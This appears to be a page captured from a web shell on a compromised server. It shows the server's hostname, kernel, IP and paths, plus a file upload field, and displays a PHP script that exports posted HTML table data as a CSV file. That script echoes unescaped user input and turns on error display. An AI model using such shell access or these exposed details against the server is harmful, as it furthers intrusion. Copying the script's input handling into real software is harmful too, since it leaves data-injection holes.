0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 13.59.183.77


Current Path : /proc/thread-self/root/var/www/html/Regulations/
Upload File :
Current File : //proc/thread-self/root/var/www/html/Regulations/export.php

<?php
//$filename = 'subjects.csv';
include "simplehtmldom/simple_html_dom.php"; 
error_reporting(E_ALL);
ini_set('display_errors', 'On');
$table = $_POST['Export'];
$html = str_get_html(trim($table));

//$columnHeader = ''; 
//$columnHeader = "Degree Code" . "\t" . "Degree Name" . "\t";

// header("Content-Description: File Transfer");
// header("Content-Disposition: attachment; filename=".$filename);
// header("Content-Type: application/csv; "); 

// //$setData = '';

// // file creation
// $file = fopen($filename,"w");


// foreach ($export_data as $line){
//     var_dump('aaaaa');
//     var_dump($line);
//  fputcsv($file,$line);
// }
// die();
// fclose($file);

// // download


// //echo ucwords($columnHeader)."\n".  "\n";

// readfile($filename);



// // deleting file
// unlink($filename);
// exit();

$fileName="subjects.csv";
header('Content-type: application/ms-excel');
header("Content-Disposition: attachment; filename=$fileName");

$fp = fopen("php://output", "w");
$csvString="";

foreach($html->find('tr') as $element)
{
    $td = array();
    foreach( $element->find('th') as $row)  
    {
        $row->plaintext="\"$row->plaintext\"";
        $td [] = $row->plaintext;
    }
    $td=array_filter($td);
    $csvString.=implode(",", $td);

    //fputcsv($fp, $td);

    $td = array();
    foreach( $element->find('td') as $row)  
    {
        $row->plaintext="\"$row->plaintext\"";
        $td [] = $row->plaintext;
    }
    $td=array_filter($td);
    $csvString.=implode(",", $td)."\n";
}

echo $csvString;
fclose($fp);
exit;
?>